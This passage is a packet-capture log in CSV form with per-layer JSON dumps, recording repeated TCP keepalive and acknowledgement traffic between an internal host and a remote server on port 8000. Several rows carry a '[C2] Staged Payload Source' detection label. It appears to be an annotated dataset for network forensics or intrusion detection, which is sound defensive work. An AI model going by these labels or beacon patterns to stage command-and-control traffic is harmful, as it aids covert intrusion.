\"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45158, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16280, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:25.812409,425,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3d40004006e3b6c0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L=@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19517, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58294, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:26.828081,426,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b067400080063f970a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45159, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16279, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:26.828110,427,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3e40004006e3b5c0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L>@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19518, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58293, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:27.828027,428,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b068400080063f960a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45160, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16278, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:27.828046,429,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3f40004006e3b4c0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L?@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19519, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58292, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:28.828202,430,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b069400080063f950a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45161, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16277, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:28.828215,431,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c4040004006e3b3c0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L@@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19520, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58291, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:29.738303,432,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=3789025800 Ack=2738405698,bc24112907bbbc2411360d0c08004500003db06a400080063f800a98980bc0a3a789fa541f40e1d7f208a338c14250182014cd4000001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45162, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16256, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025800, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 52544, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:08:29.738334,433,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000284c4140004006e3bec0a3a7890a98980b1f40fa54a338c142e1d7f21d5010003f0aeb0000,\".$.6\n..$.)....E..(LA@.@.......\n....@.T.8.B....P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19521, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58302, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:08:30.749997,434,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b06b400080063f930a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45163, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16275, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:30.750016,435,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4240004006e3b1c0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LB@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19522, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58289, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:31.753604,436,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b06c400080063f920a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45164, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16274, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:31.753622,437,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4340004006e3b0c0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LC@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19523, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:32.769441,438,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b06d400080063f910a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45165, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16273, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:32.769460,439,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4440004006e3afc0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LD@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19524, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58287, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:33.784890,440,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b06e400080063f900a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45166, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16272, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:33.784915,441,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 